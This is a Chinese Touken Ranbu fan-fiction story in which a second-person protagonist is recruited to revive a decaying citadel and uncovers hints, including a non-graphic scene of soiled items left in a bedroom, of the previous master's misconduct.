《【刀剑乱舞】异界—本丸》
1. 第一章
从你误入这片灰蒙蒙的地方,天上的黄昏已经不知道持续了多久。昏暗的光线斜落在地上把万物影子拉长,你左手边是翻腾的黑色河水,脚下湿润的沙子和枯草踩上去不断发出咔嚓咔嚓声。河边没有围栏,时不时河水会涌出岸上带走泥土,你目不斜视沿着河水流向往河流上方走。
你不久前从一个男人那得知河的上游有出口。那是个不可思议的男人,穿着日本平安时期的贵族服饰,深蓝色狩衣和大半张脸被白纱笼罩,朦朦胧胧,仿佛天上被云遮掩的圆月。多亏他的福,你确定了自己现在位于日本某个叫「异界」的地点。
只要往上走就行了吧。虽然是这样说,但是——
“我可没骗你啊。只要和我走,包你能离开这里。”从刚才开始就有一道尖细的分不清男女的声音贴在你耳边滴嘀咕咕,你往地上偷撇时没有看到地上有额外的影子。
不是人类。
你握紧拳头,用指甲刺激自己的手掌,重新打起精神往前走。
“喂,你听得见我吗?”那声音变得急切,“我可以带你去一个安全的地方……”
各国的民间传说里常有「呼唤—应答」类型的怪谈,在中国是「邪祟」、「拍花子」、「巫蛊」,日本是「呼子」、「辘轳首」,欧美则是「妖精」、「温迪戈」等等。主要内容都是被陌生声音呼唤名字回应就会被勾走魂魄。
不过换另一个角度去想,这个传说最开始会不会是在森林长时间行走产生幻觉,或者是熟人拐卖事件演变而来呢?
你在心里一边拆解民俗传说一边前行,耳边声音越来越响亮,突然一个湿润光滑的触感贴在你耳廓上,带着血腥铁锈气味,在你的耳背到耳珠留下一道黏腻的痕迹。
它在舔你!
你的手下意识抬起,唇间即将迸发出咒骂,一阵窸窸窣窣的声音打断你的预备动作。从膝盖高的草丛里钻出一只圆滚滚生物,猛地撞入你怀中。
“找到啦,找到啦,太好啦!终于找到有灵力的人啦!”不明小生物竖起两只大耳朵,毛茸茸的手拍打你的衣服。
在它出现的瞬间,令人不安的耳语消失了。
你稳住生物的身体托起查看。那是一只金橘色狐狸,像一颗才成熟的小橘子。面部的毛是白的,额头有一个红色的勾玉印记,鼻梁上一道金色笔触,整张脸布满了如同日式动画里常见的狐狸脸谱般的花纹。
你找块干燥的草地坐下,好奇的检查狐狸的状况,它的后腿有一道可以看见肉的小口子。
“你没事吧?”你不擅长抓动物,挑一个顺手姿势把狐狸按稳检查它的伤口,拿掉上面的杂草后发现伤口不深,可能是被野草割伤。
“呜呜—”狐狸的头被你卡在手臂下艰难的发出叫声,前爪拼命拍着你的大腿,“审神者大人我是狐之助,不是普通狐狸哦!”
“审神者?”
“啊,下意识就……”自称狐之助的狐狸鲤鱼打挺挣脱你禁锢,端正的立在你的面前。
“这位大人不用担心,这点小伤吃点油豆腐就会好的!”狐狸正色道,“我是隶属于‘时之政府’的管狐狐之助,目前在寻找着拥有灵力的人才就任本丸的审神者。”
它圆滚滚的大眼睛急切的看向你,“这位大人,您能来到‘异界’,还能自如行走,果然就是拥有超强灵力的人吧。请与我一同回到本丸,拯救历史吧!”
“本丸……是什么?”
“诶?”狐之助歪了歪头开始科普,“本丸就是大本营的意思哦。是最重要的核心,心脏。”
它似乎把你当成一个缺乏文化常识的现代年轻人,“审神者嘛,就是知晓山川河流的声音,在祭祀上聆听、传达神的旨意的人。不过最重要的是拥有唤醒器物的心灵,拥有将其化为人形的能力。”
“听上去很厉害。”你在一旁附和。
“是的哟!”狐之助用脑袋亲昵地碰你的手,“这位大人!说实在的,您……您是不是迷路了?还是正在寻找一个归宿?”它的语速快得像连珠炮,根本不容你回答,“您一看就非同凡人!请问您对提供食宿的工作感兴趣吗?立刻上岗!待遇从优!”
工……作?你的思维还有些迟滞,手按在狐之助头上玩它的耳朵。这只狐狸让你想到街上挥舞小手掌玩具揽客的服务员。
你摇头,“可是我……”
“审神者是时之政府认证的伟大职业,率领刀剑男士守护历史,非常光荣!”狐之助急切地推销着,小爪子不安地刨着地面,“我们的本丸是全新的!设施齐全,环境优美,同事……呃,同事都非常好相处!只是前任审神者因为个人原因突然离职,现在急需一位像您这样强大的大人来临时接管!”
你捕捉到了关键词。“全新”。“个人原因离职”。这两个词汇聚在一起让狐之助的话显得像是诈骗广告。
环顾四周,周围还是枯草断茎一片荒芜,想到先前那令人不适的尖细声音,暂时离开这里似乎是明智之举。你微笑着朝狐之助点头。
狐之助喜出望外的叼着你的衣袖,将你从地上扯起来,“这位大人请跟着我。”它蹦蹦跳跳带着你飞快的往另
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一个边界前进。
有了狐之助的指引,道路好走不少。空气中腐朽气味逐渐消散,枯草往后退开让路翠绿草地,上面装饰几丛野百合。这里道路两旁没有地藏神像,取而代之的是一人高石柱,上面系上拇指宽的注连绳。
叮——
在路过一个石柱时你听见了风铃声音,身体一轻,周围的场景瞬间变换。你来到一个幽林中,周围飘逸着白色雾气,地上盛开的白百合大多数已经枯萎。你捂住口鼻,阻挡空气中的腐败气味。
山上虽然铺了宽阔的石板小道,但布满青苔,加之被雾气黏上,走路太快就会滑倒。
“狐之助,你说的本丸到底在哪里?”你忍不住发问,从地上爬起来拍打泥土。你的目光定格在两棵树间巨大的蜘蛛网上,雾水在上面留下一串露珠。
“就在前面,很快就到!”狐之助的声音被风扯的模糊不清,“虽然现在看上去很旧,但是只是因为前任审神者离开本丸,天守阁缺乏灵力,周围的景趣才受到影响。只要您注入灵力,马上就会恢复原来的样子,相信我,它真的很新!”
你没有应答,只是默默跟随,敏锐的发现周围似乎还有模糊的人影窥伺。一时间,你也说不清这里和异界的区别。
狐之助转头看你,“大人,虽然你可能已经听说过,但是我还要提醒你一句哦。名字是有力量的,所以不可以告诉刀剑男士们你的真名哦。”
又行了一段路,你气喘吁吁,狐之助终于慢了下来。在青色石砖的尽头,视野突然开阔。
“到了,大人。我们到了!”
巨大的原木鸟居矗立在你面前,鸟居整体没有上漆,木头被雨水冲刷表面斑驳脱落,紫藤延木头柱子往上缠绕最后遮盖匾额。透过鸟居往里望去,参道尽头被没入浓雾中,石阶有一些已经碎裂,道路两旁的石灯笼火袋里没有一丝光亮。
……这就是狐之助嘴里“环境优美”的“全新”本丸?
一股强烈的不安攫住了你,许多经典日式恐怖片从你脑海里略过。
狐之助似乎也被这景象噎了一下,干笑了两声:“呵……呵呵……看来灵力比我出发前更加缺乏了……不过没关系!这都是小问题!”
它转头看向你,努力让自己的语气充满鼓舞:“大人,只要跨过这座鸟居,我们就正式进入本丸的结界范围内了。接下来,就拜托您了!”
你把狐之助从地上拎起,轻柔地抱入怀中。毛茸茸的温暖触感带来一丝抚慰。你没有犹豫多久,深呼吸一口充满草叶酸涩的空气,脚踏过结界。
2. 第二章
空寂。
这是你对这个本丸的第一印象。
雾中白色的人影一直尾随你,直到你穿过代表“神域”界限的鸟居才依依不舍散去。
你抱着狐之助小心走上细长石阶,在狐之助嘴里得知所谓的“刀剑男士”就是从刀剑中诞生的付丧神,由时之政府研究出来对抗一群名为“历史修正主义者”的组织诞生的武器。
“‘历史修正主义者’吗?”你嗤笑着重复狐之助的话,没有对这个词表示更多意见。
当你踏上参道时,你感觉到一些待在树枝上像小精灵的半透明东西飞过来依附在你身上,它们小心翼翼触碰你,轻轻哭泣,给你的皮肤带来微弱的战栗。
道路尽头是神门,一个穿黑红色和服的身影手持树枝站在狛犬石雕边。身影一头漆黑秀发用红色绸带高高竖起,腰间垂挂一把太刀。
你越走越近,才发现对方面貌稚嫩,两边眼下各有一个对称的泪痣。他没有穿鞋袜,踮着脚尖站立,手指和脚趾的指甲锋利得像鸟的爪子。
乌鸦童子。你的脑海里突然冒出这个词。
“是小乌丸殿!”狐之助从你怀里冒头。
仿佛肯定狐之助一般,乌鸦童子朝你行礼,语调古风古色,“吾乃小乌丸,于此地显现的刀剑男士之一。您就是狐之助所说的新主吗?”
你在他过于平静的目光下感到一丝无所适从,“我们应该是第一次见面?”
你看向狐之助。
“诶嘿,因为大人您能答应我实在太高兴了,所以我提前和大家……”狐之助瞪大水汪汪的眼睛企图蒙混过关,“……哇啊,不要捏我的脸!”
“我没想到刀剑男士里也会有小孩子。”你松开狐之助的脸,也向小乌丸微微屈身,努力翻找脑海里残留的礼仪知识。
“我是应狐之助邀请前来应聘的临时审神者。”
“勿以貌取人。吾乃现今制式的日本刀初出的年代诞生之剑。换言之相当于是这里所有刀剑的父亲喔”
你惊讶的看向小乌丸,没想到他首先关注这个问题,也没想到刀剑们会有外表那么年幼的父亲,心里腾升出一股对小乌丸的敬意。
“原来如此,真是辛苦您了。”
“嗯,”小乌丸的视线并未离开你,“如此庞大的灵力……确实非同凡响。”他顿了顿,话锋一转,“只是这个气息……”
小乌丸目光扫向你怀里的狐之助,小狐狸缩了缩脖子,不敢与他对视。见你和狐之助都沉默不语,小乌丸没有再追问你们具体的细节,只是侧身让开通往城郭的道路。
“进来吧。主君,这里就是您将管理的本丸。还有几个孩子醒着,也该见见您。”
神门内的庭院是枯山水风格。地上铺满白沙,大小不一的奇数石头分组放置在地面上,一些石头底部敷上厚实的苔藓模拟绿草如茵。现在白沙上的图案都已经散乱,半数苔藓发黄。城郭内主要建筑风格是高台式木质建筑,在河的对面,被樱花枯树包围的最高五层金色建筑即是天守阁。
你们没有到天守阁,而是走过载种千岁松的石桥沿露地来到一个四叠半大小的茶室。小乌丸用勺子在茶室前的石造洗手钵里舀水给你洗干净摔倒时弄脏的手,然后再吩咐你漱口。
茶室的光线较为昏暗,你刚进门三道目光齐刷刷看向你。
目光中最引人注目的是一位蓝发蓝瞳,身着深蓝色华美狩衣的男子,容貌之盛仿佛汇聚了天下的月光。看到你进来,他微微一笑,“嗯嗯~新来的主君吗?我是三日月宗近。嘛,请多指教了。”
他旁边是一位身着军服正襟危坐的青年,青年水蓝色短发打理的一丝不苟。他警惕的看着你,不知道是不是错觉,你觉得他脸上的阴影里仿佛有火光在摇动。
“我是一期一振,栗口田吉光手中锻造的唯一一把太刀。希望您能善待我的弟弟们……以及这座本丸。”
最后一位则用一块被单大小的破旧白布将自己从头到脚包裹掩饰,从你的角度看去只能看到一点金色的头发。
“山姥切国广,这座本丸的初始刀。”他只说了这一句话,把头埋得更低了。
明明才刚进门,怎么所有人都知道自己是新来的审神者了?你在心里吐槽狐之助的速度。
“布……”山峔切国广说。
“啊。”你才发现自己站在他的布上,连忙挪开腿,“抱歉。”
四叠半的茶室挤上五个人实在狭窄,特别其中两位的服饰占地还特别夸张。你把自己缩起来尽量不碰到他们的衣服。
在众人介绍完毕后,小乌丸跪坐缓缓为你端上茶碗。
“那个……我听狐之助说这里是新建立的本丸?”你压低声音接过茶碗,不安的捏狐之助的肉垫,“请问只有四位刀剑吗?”
短暂的寂静,回答你的是小乌丸:“因为长时间灵力枯竭,其余数十振刀剑已经陷入沉睡。若非如此,也无法将仅存的灵力供给吾等四人维持形体。”他的语气很平静,却掩盖不住悲哀。
从小乌丸的讲述中,你得知这个本丸在前任审神者离开后曾经请求过时之政府派遣新的审神者就任,但都被以各种理由回绝。若再无灵力注入,等全部刀剑陷入沉睡,本丸连同所有刀剑都会被时之政府回收解体。
刀剑男士们只能自救。没有审神者灵力支持他们无法长时间离开本丸,只能委托狐之助寻找有灵力的人回来就任审神者。
你察觉到每次小乌丸提到前任审神者,他旁边的刀剑男士们脸色都不太好,山姥切国广会微微把头撇开,一期一振原本就公式化的笑容更加僵硬。
回收……解体
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……
“审神者大人!”狐之助看气氛有些凝重,急忙跳出来打圆场,“您拥有如此强大的灵力,一定能让大家苏醒的。不如……先从更换景趣开始吧。沉睡的刀剑男士们醒来看到美丽的风景心情也会好起来吧。”
你垂眼看向茶碗,里面只是普通的水,“但是我从来没有做过这种事,也不懂怎么使用灵力”。
这句话让室内的空气瞬间又冷了几分。看来狐之助没有和他们说过自己的具体细节。
最后还是小乌丸开口,“无妨,凡事皆有初次。主君,请不必担忧,尽管尝试便是。”
小乌丸的平静让你松口气。你和刀剑男士们离开茶室再次走过石桥来到天守阁中门廊。
与豪华的安土桃山时期寝殿风格相反,天守阁的纸拉门多处破损,风吹过纸张呼啦作响。具小乌丸所说这里在前任审神者就任时,内外都以金箔装饰。等你在核心注入自己的灵力后,天守阁以及整个本丸都会按照你的审美趣味发生变化。
“感觉这里和茶室不一样。”你紧跟在小乌丸后面,手指好奇的戳在纸门上留下一个小洞。那些庭院里的半透明小精灵也来到天守阁角落里偷偷看你。
“那是因为前任……主君离开后本丸在逐渐初始化,回到最初的风格吧。”
一层正厅入口左侧有个高大的架子,上面挂了二十四节气图画和名称的绘马。现在时间刚过处暑,当值景趣令牌应该是「秋樱」,也就是波斯菊。
你深吸口气,握着令牌闭上眼睛,一边想象波斯菊盛开的场景一边回忆路上狐之助的叮嘱,努力调动体内的灵力注入令牌。
胸口再次涌现冰凉的感觉,一股暖流从心脏流经你的手臂汇聚到你的指尖。手掌传来小小的触碰,那些庭院精灵汇聚到你身边舞蹈。
然而,下一秒你的脑海里闪过一丝念头——“我真的可以吗?这股热量是不是我的手捂太久导致的?”指尖的暖流瞬间消失,天守阁的纸拉门瞬间被击飞。小精灵们慌张的乱窜,一些躲入你的衣服。
“砰——”天守阁震动,天空落下一声巨雷,远处某样东西破裂。
“够了!”
一期一振低喝一声,伸手按住你的手腕。一股清爽的灵力传来切断了你的灵力传输。
你睁开眼睛,看到的是天守阁更加的狼藉的景象和四双复杂的眼神。
失望,警惕,怀疑……
三日月宗近脸上的笑容已经消失。他轻叹一口气,语气依旧温和,但多了一份疏离,“看来您还需要一段时间来熟悉自己的力量呢。”
一期一振松开手,后退一步,深深鞠躬,“您辛苦了,看来……唤醒其余刀剑男士的事还要从长计议。”
你站在原地,手脚冰凉,脸颊发烫。手里的绘马仿佛发出不屑的笑声。
3. 第三章
你的心怦怦直跳,不敢看小乌丸和其他刀剑男士们的脸。
然而,预想中的斥责并没有到来。
小乌丸安慰你几句后就和其他刀剑男士们去寻找巨响发生方向。
“对不起。”你低声说,直到刀剑男士们全部离开才抬起头。脚边的狐之助已经捂住眼睛缩成毛绒球。
他们没有赶走你,毕竟你真的拥有灵力。
狐之助带你到天守阁核心和本丸建立起初步的链接,让你的灵力保持在可以激活本丸水电又不与现存刀剑男士们深度流通的地步。
天守阁内部空间很宽敞,地板积落厚厚的灰尘,空气中是陈旧的霉味。一楼主要房间是用来给主君举办聚会的大广间和近侍间。
“近侍?”
“对,近侍。近侍是唯一可以进入天守阁与主君同住的刀剑,可谓是主君最信任的人哦。审神者大人能熟练控制灵力后就可以选择近侍了!”
狐之助终于打起精神。
二楼是书斋和审神者办公地点,里面只有几架岌岌可危的书架和一台落灰打印机,据说前任审神者把这里改造成游戏室,离开时把贵重物品都搬离了。三楼才是审神者住的寝室,里面的装潢出乎意料的非常现代,有独立卫生间。你在卫生间里没有看到洗衣机,反倒在镜子后面发现两包放着金色长圆形物体的纸包。
因为前任审神者的衣服都是刀剑男士们亲手洗的。狐之助讲解时你有些尴尬,如果真的成为正式审神者你可不想别人碰你的贴身衣物。
这么多房间人力自然无法一下子清理完毕,狐之助建议你用找到的小判去万屋购买打扫全屋用的清洁符。
“日本的建筑真有趣呀,明明是宫殿但却不是对称式设计。”你把纸包塞入口袋四处乱逛,看到坏掉的纸门就在它完好的下半部分戳出几个孔洞。
狐之助抬头看你,“审神者大人,您为什么这样说?难道……审神者大人并不是日本人?!”
“嗯。原来你觉得我是吗?”
小狐狸坐倒在地。
“啊……这个……我没有想过。”
你在狐之助头上敲一下,继续探索废旧的本丸。在看完手入室,锻造间后你在巨大的厨房前停下脚步。
厨房离天守阁很近。因为灵力缺乏无法供应水电,厨房早已废弃。刀剑男士不一定需要吃饭,但食物却可以迅速缓解刀剑男士的疲劳。如果要长时间上战场,就必须准备一些饭食才行。
好像贡品。
你摸着下巴检查米桶和冰柜,里面果然空空如也。继续检查锅碗瓢盆,有些锅底有烤焦的痕迹。
等记下采购清单后你跟着狐之助去万屋购买商品。万屋,现在应该是由街头万屋开始衍生出来的街道,除了街头的杂货铺外还有一系列蛋糕咖啡新型商店,不过狐之助提醒你没有刀剑男士的陪同在万屋街迷路会很危险。
“有多危险?”你在杂货铺一楼布告栏前站住,上面铺满告示。
「公共浴场开放时间调整」
「来参加审神者防灾训练吧」
「如何和野猫相处」
「刀剑男士防诈骗宣传」
「警惕暗处的眼睛」
「可以提供大学生实习资格认证的本丸(仅限日本人)(再注:仅限人类)」
「除了死,其他都是擦伤(某寺庙名)」
…………
你看得津津有味。
狐之助用爪子拍你的腿,“审神者大人该做正事了吧!”
“我知道。”你看着布告栏拎起狐之助。
刚走入万屋扑面而来的是冷气,除了饮料,便当,店里还有雨伞,化妆品,生活杂志等五花八门的商品,甚至还有偶像演唱会门票。万屋里还有几个腰间挂着刀具像是刀剑男士的人在闲逛,但在他们身边谈笑风生的除了人类还有妖怪和动物。
应该是审神者吧?你看着一个刀剑男士抢夺兔子嘴里未付款的青菜。
怪不得小乌丸他们留你下来,毕竟有审神者灵力支持后刀剑男士可以做的事情太多了,光是逛万屋就是一大乐趣。没有审神者的本丸只是一个华丽的牢笼。
你和狐之助略过马匹和鸽子来到符咒专区。自从知道你不是日本人后狐之助更加尽心科普。
“浅蓝色的清洁符是引进外国的棕精灵灵力制作而成,可以快速清洁灰尘和垃圾,但是只能在晚上使用。深蓝色的清洁符是一些审神者自己研发的商品,清洁效力比棕精灵慢一点,不过全天都可以用。所有符咒都是无需使用者的灵力直接使用的哦。”
好家伙,难怪那么贵。
你拿起两个清洁符对比,不管哪种清洁符都不便宜,只能先拿几个“审神者自研”清洁符把自己要住的天守阁和厨房弄干净。晚餐你准备做点最常见的咖喱饭,把需要的食材扔入菜篮,在狐之助请求下还买了油豆腐给它当零嘴。
狐之助坐在菜篮里扒拉油豆腐,“审神者大人,您现在都是主君了。这些小判自然都是您的呀,怎么花得小心翼翼的?”
“可是我也不是正式审神者,哪有工资领呀。”你玩着狐之助的尾巴直到它抗议。
慢慢来吧。
因为还买了一袋大米,你只能再花点小判买运输符把东西运回本丸。
本丸水电已经恢复运行,你回到厨房使用清理符把杂乱的厨房整理干净,开始备菜。洗干净食材,把苹果,胡萝卜和土豆削皮切块,鸡胸肉大块入锅,所有食材在锅里翻炒过后再倒入牛奶闷煮。
煮五位成年男性的饭工作量不小,光是备菜你就忙活了半个多小时。
你也曾想过煮汤,但不知道小乌丸他们会不会吃你煮的饭,所以只是买了几瓶冰镇大麦茶和乌龙茶替代。
当锅里煨炖的咖喱发出暖烘烘的香气,你听见回廊上传来极其轻微的脚步声。一个水蓝色头发的男人站在厨房门口,正有些惊讶的望着里
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面。
是一期一振。你记起这个气质温文尔雅的青年。
一期一振脱下沾了泥土的手套,礼貌地微微躬身,“失礼了。只是闻到食物的香气,有些好奇……您亲自下厨吗?”
“我在煮咖喱,您要试吃吗?”你搅拌锅里的土豆让咖喱更粘稠,擦干净手拿一个小盘子装上咖喱递给一期一振。
“非常感谢,”一期一振犹豫了一下,迈步走了进来,他接过咖喱后没有立即吃下。
“我已经很久没有闻到本丸的厨房传来食物的味道了。弟弟们若是闻到这香气,想必会很高兴吧。”
“前任审神者不用吃饭吗?”
“他是吃的,”一期一振目光微闪,浅浅的笑了笑,“但前主君……似乎并不热衷和我们一同用餐。抱歉,我作为刀剑不该多言旧主之事。只要能出阵,履行好守护历史的职责就已足够。”
他的目光落在咖喱上,小心勺起一口送入嘴中,一个小小的光点出现在一期一振眼里,“很美味。有劳您费心了……主君。”
“若您需要什么,随时可以吩咐我们。”
你松了口气,“好吃就行。说起来那个巨大的声音……”
“是本丸的结界破了。”一期一振面不改色的说出让人胆战心惊的话,“不过我们已经修复完毕。”
怪不得他脸都黄了。你心虚的打开冰箱给刀剑男士们追加汤水。
修复结界的工作似乎告一段落。夕阳完全的没入地平线,庭院的石灯笼被庭院精灵点亮,散发昏黄温暖的光。
小乌丸,三日月宗近,山姥切国广三人已经换上内番服坐在廊下休息。
你端着大托盘,上面放了几盘热气腾腾的咖喱饭和配菜。一期一振负责端容易泼洒的茶和汤水。
“啊哈哈哈,辛苦了,菜很丰盛啊。”扎着黄头巾的三日月比起贵族更像一个老爷爷,“吹着晚风,看着庭院,饭菜也别有一番风味。”
“为父甚是欣慰,主君有心了。”
“……多谢。”山姥切国广默默接过盘子,即使穿上内番服他也没有脱下长布。
你把其中一盘咖喱饭递给一期一振,“一期一振先生也辛苦了。”
“不敢当,分内之事而已。”
众刀吃下第一口咖喱。你没看错,他们吃下第二口第三口的速度明显加快了。
似乎感受到你的视线,一期一振抬起眼,“您做的咖喱,味道很像……烛台切殿做过的。”
“烛台切……?”
“不过烛台切更喜欢在咖喱里加椰浆吧?”
三日月适时的插入打断你的询问。
饭后山姥切国广和小乌丸接过所有人碗筷清洗,其余人开始夜巡工作。
你独自一人回到空荡荡的天守阁,用清洁符清理天守阁的灰尘和垃圾。看着布包里金灿灿的小判,想到刀剑男士们暧昧不清的态度,你不禁思考前任审神者到底是什么样的人。
4. 第四章
一楼和二楼在清洁符的光晕中焕然一新,虽然没有门板遮挡的天守阁四面透风,与民房无异,但被净化过的木质地板散发出淡淡的柏木香,让人神清气爽。
你踏上通往天守阁三楼的阶梯,脚步却不由得放慢了。
这里是前任审神者居住过的寝室,虽然你和狐之助已经大致看过一次,但也许还藏有更多的秘密。你停留在门口,心里腾升一丝犹豫,最后还是没有使用清洁符。
以调查者的心态重新观察,这里与楼下的空旷不同,寝室保留床、衣柜等大件家具,空气中漂浮一股难以言喻的气味。前任离开后,刀剑男士们显然打扫过这里,但似乎只浮于表面。
你的目光在室内逡巡,先走入发现小判的浴室。洗手间镜子后空空如也,剩下几丝干涸的泡沫痕迹,证明着这里曾经放过剃须膏一类的东西,你又检查抽水马桶的水箱,同样一无所获。
你退回到寝室,视线落在铺着厚重地毯的地板上,在靠近床脚的地方有一块不自然的隆起。你蹲下身,正要伸手去掀,一股若有若无的……腥臊味,顺着你的动作飘入鼻腔。
你的动作僵住了。
真的假的……你紧皱眉头,心脏加速,用力掀开了那片地毯。
地毯下空无一物,但那股味道更清晰了,源头……似乎在床上。
你的胃开始隐隐作呕。床上被褥整齐地铺着,看不出任何异样。你猛地扯开被子和床单,撇开枕头。
一切如常。
难道是错觉?你松了口气,却又觉得不甘心。最后,你将目光投向厚重的床垫。你的双手撑在床垫边缘,一用力,将它缓缓抬起——
“……”
一股比刚才浓烈百倍的腥臭味袭击了你的鼻子,让你一阵干呕。你清楚的看到床板上的景象:一团团干硬的纸巾、几个正方形铝箔包装袋,以及……几件早已看不出原色的肮脏不堪的女性贴身衣物。花花绿绿的污渍像霉菌一样爬满床板。
而在那一片狼藉中,还留有一张小纸条。
“呕……”你捂着嘴冲入洗手间,剧烈的干呕起来。胃里翻江倒海,但更多的是一种被羞辱的感觉。这里即将是你的寝室。
过了许久,你才浑身颤抖的直起身,洗干净脸。用床单包住手,两根指尖捏起纸条打开。
纸条上的字迹轻浮且潦草:
「亲爱的的后辈,收下前辈给你留下的礼物吧。还有几件没有用过哦。」
“……”你感觉一股冰冷的怒火从脚底直冲天灵盖。你闭上眼睛,用力揉捏太阳穴让自己保持冷静。
“狐之助!”
你必须立即找到狐之助,问清楚一切!它不可能对前任审神者的品行一无所知。
“狐之助!”
你冲出寝室,在楼梯间,在走廊里呼喊这只狐狸的名字。然而,那个黏了你一整天的小管狐此刻像人间蒸发了一样,不见踪影。
经历异界的长途跋涉又采购一下午,你每次蹲下身想在角落里寻找那团毛绒绒身影时,眼皮都开始打架。
无奈你放弃了寻找,使用清洁符时特地叮嘱符咒里的精灵,把整个天守阁里关于前任审神者的东西都清理干净,一件物品家具,一切痕迹也不要留下。
一楼近侍房间也有独立浴室。你疲惫的来到一楼洗澡,然后把旧衣服和新买的T恤一股脑扔进新买的洗衣烘干一体机。
等洗衣机工作结束前,你只穿上一条打底背心,坐在地板上翻阅从万屋杂货铺购买的《MEET!审神者大人!》、《IM本丸~初秋特辑:「香」》等综合杂志排解愤怒的情绪。
《MEET!审神者大人!》是半月刊,赠品是姆明收纳袋和一张明信片,《IM本丸~》月刊的赠品更多一些,是两个安眠御守和五支香道试用线香。
你把赠品放在一边,先看《MEET!审神者大人!》。
杂志封面上的时间是公历2205年,但内容风格与你所处时代的日本相比没有太大变化。跳过100页广告,40页描写审神者的同人文和同人漫画,你盯着「刀剑访谈」栏目看了十来分钟,发现这本杂志更像是面对刀剑男士这个群体开发的杂志,QA访谈里都是匿名本丸的刀剑男士倒苦水,比如——
「主君为什么在自己爬床时把自己踢下床」;
「三日月宗近老是逃番还带着其他刀剑男士逃番」;
「怀疑主君有五个本丸」
「主君召唤不出山鸟毛要提刀杀去时之政府怎么办」……
其他本丸也有三日月宗近?你有点混乱。继续翻阅下去,你逐渐琢磨出所有本丸的刀剑男士们都是以原型刀剑召唤出来的神明。不仅如此,在时之政府注册新本丸时还可以在五把特定的刀剑男士内选择一把来当初始刀,陪伴审神者度过新手期。
你通过《MEET!》了解完一些刀剑男士的性格特点和喜好,继续看《IM本丸~》。这本月刊比《MEET!》厚一百页,广告更是多达150页。
《IM本丸~》前几页亲切的标注当月时之政府的活动预告。九月上旬活动是「战力扩充计划」,远征回馈物品率提高2倍;中旬时之政府「灵力支援」召唤某位刀剑男士成功率提升,下旬还有联队战。
「战力扩充计划」是时之政府举办的对战训练。在四个不同难度的训练场通关到达一定次数就可以直接契约四位不同的刀剑男士。虽然看上去很值,但造成的伤害是实打实的。你想起狐之助提到自己所在的本丸是“新”本丸,在人手不够,尚未摸清小乌丸他们的实力前,你不愿意把他们扔到训练场试刀。
如果受伤了要你治疗……那就先祈祷一下你现在乱腾的灵力不会让他们碎冰冰吧。
审神者可以做到的出阵有三种:真正的战场出阵,寻找资源的远征,与其他审神者演习。战场出阵只有敌人出现时才能进行,你也没有和其他同事会面的兴趣。
算算日子,你打算先赶远征2倍活动攒一波小判和资源,祈愿在中旬的召唤活动时有时之政府的灵力帮助可以凑上一只6人队伍。
你看着杂志头越来越低,最后躺在近侍间地板上迷迷瞪瞪的想。
对了……忘记通知其他人你还买了台洗衣一体机放在本丸公共区域。
九月昼夜温差大,你蜷缩身体试图不让肚子受凉。透过近侍间完好的障子,你看到了外面无边的黑暗,缓缓的,你眨了眨干涩的眼睛想起遥远的家人,不知道他们有没有活下来。
「晚安」你对自己说。很快就进入了梦乡。
第二天叫醒你的是一股轻柔的香气。你费力地睁开眼,映入眼帘的是一抹深蓝。
三日月宗近坐在离你不远的矮桌旁,姿势闲适地捧着一个茶碗。
“早上好,没想到您很能睡啊。”他看到你醒来,弯起眼睛,尾音拖长,“不用布团就睡在地板上,是现世流行的新时尚吗?”
你用手臂挡住头,挣扎一番慢吞吞坐起来,腿部肌肉传来一阵酸痛。矮桌上点着一支你昨晚拆出来的赠品线香。
“我睡在榻榻米上。”你的声音有些沙哑。
“不不~”三日月轻笑摇头,用下巴指了指房间里一个往内凹陷,地台抬高的角落,“那里,是‘床’。”,然后他指向榻榻米,“而这里,是地板。”
你不理解,这和哆啦O梦里不一样。最后你决定忽略这种不适感,抛出你最关心的话题。
“三日月先生,您为什么会在这里?”
“嗯……”三日月宗近喝口茶,“因为我是这个本丸的近侍,这里是我的房间。”
你的脸瞬间变得通红,像卡壳的机器人一样说不出话来。
看到你这副窘迫模样,三日月似乎心情更好了,“您总是这样皱着眉头啊,会比我更快变成老爷爷哦。嘛,虽然我已经是了啊。”
老爷爷?你这才真正开始打量他,怪不得他昨晚的内番服里有疑似老人保暖内衣一样的衣服。也直到此刻,你才后知后觉三日月宗近除了刚见面外,再也没有喊过你一次「主君」。
你起身走向洗漱室,“我昨天买了一台洗衣机,让搬运精灵放在刀剑男士的居所。你们可以去用。”
清洁精灵们也打扫过这个洗漱室,镜面不染灰尘。一个念头突如其来,你伸出手指
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,按在镜子边缘——果然,镜柜应声而开。
里面躺着一块地方整齐的布料,摸上去手感柔软。你拿出来展开,是一件做工精致的小披肩,但尺寸对你来说你实在太小。
你叼着牙刷从洗漱室探头,对三日月晃了晃手里的披肩。
三日月的视线落在披肩上时,含笑的眼眸有一瞬间的凝滞,快到你几乎无法捕捉。
“哦?审神者大人也会有雏鸟情节吗?是在找小乌丸殿?”他很快恢复了笑容,“因为您的灵力注入,本丸的布局已经发生改变,恐怕大家现在都在熟悉地形吧。”
答非所问。
你把嘴里的泡沫吐掉,擦干净脸,拿着那件披肩走出洗漱室,“这是你的吗?”
这次,他无法回避了。三日月微微一愣,“这是前田藤四郎的披肩,您在哪找到的?”
“浴室镜子后面。”你把披肩放在桌子上,似笑非笑的看着他,“怎么,不是你的呀?”
你摸摸下巴,“原来……你不是近侍啊。”
空气仿佛凝固了半秒,三日月宗近重新挂上笑容喝茶碗里的水,“啊哈哈哈,毕竟我是个老人家啊。看来要多锻炼锻炼记忆力了呢。”
他不说,你也不再追问。点到即止。
你从昨天找到的纸包里抽出几叠小判,用和纸分别包好,把其中一份推到三日月面前。
“上次我去万屋看到上了新茶,有空试试看吧?”
三日月看着那包小判,这次似乎真的愣住了。
近侍间被移出天守阁一楼,你和三日月前后走出寝殿,一股甜味幽幽弥漫。
昨天的书院造建筑群,一夜之间化作日本奈良时期的寝殿造。模仿中国唐代建筑对称结构,各个建筑物以回廊链结。朱柱,白壁,扁柏树皮葺双层屋顶。寝殿正门两侧分别是红白梅树,庭院里樱,桃,玉兰,海棠错落有致。
一阵风吹过,金色碎雨落了满地。此时当值的是桂花树。
三日月摘下落在肩头的小巧金色花朵,“您喜欢树吗?”
你没有看他,目光投向远处的天守阁。它退居于寝殿后,即使缩减到三层存在感依旧充足。想到昨天浪费的清洁符,你内心宛如滴血。“算是吧。你呢?”
三日月把桂花放入衣袖,“……不论明月也好花朵也好,这世间美丽之物,我都喜欢。”
你停下脚步,转头望向三日月身上深蓝色狩衣,“我昨天在异界,看到一个和你穿着一样衣服的人。”
三日月点头微笑,“您遇到了其他三日月宗近呀,无主的刀,也是有很多的。您是想把他招聘到本丸吗?”
